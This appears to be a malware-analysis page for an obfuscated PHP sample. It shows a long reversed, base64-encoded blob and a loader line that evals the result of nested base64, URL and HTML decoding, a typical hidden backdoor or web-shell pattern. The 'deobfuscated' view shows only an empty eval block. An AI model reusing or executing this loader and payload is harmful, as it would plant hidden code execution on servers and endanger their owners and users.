PHP Malware Analysis

Back to list

Tags


Deobfuscated code

<?php

$obirninja = "=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";
$t13r = "WlhaaGJDZ25QejRuTG1kNmRXNWpiMjF3Y21WemN5aG5lbWx1Wm14aGRHVW9aM3BwYm1ac1lYUmxLR0poYzJVMk5GOWtaV052WkdVb2MzUnljbVYyS0NSdlltbHlibWx1YW1FcEtTa3BLU2s3";
eval /* PHPDeobfuscator eval output */ {
};


Original code

<?php
$obirninja = "=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";
$t13r = "WlhaaGJDZ25QejRuTG1kNmRXNWpiMjF3Y21WemN5aG5lbWx1Wm14aGRHVW9aM3BwYm1ac1lYUmxLR0poYzJVMk5GOWtaV052WkdVb2MzUnljbVYyS0NSdlltbHlibWx1YW1FcEtTa3BLU2s3";
eval(htmlspecialchars_decode(base64_decode(urldecode(base64_decode($t13r)))));
?>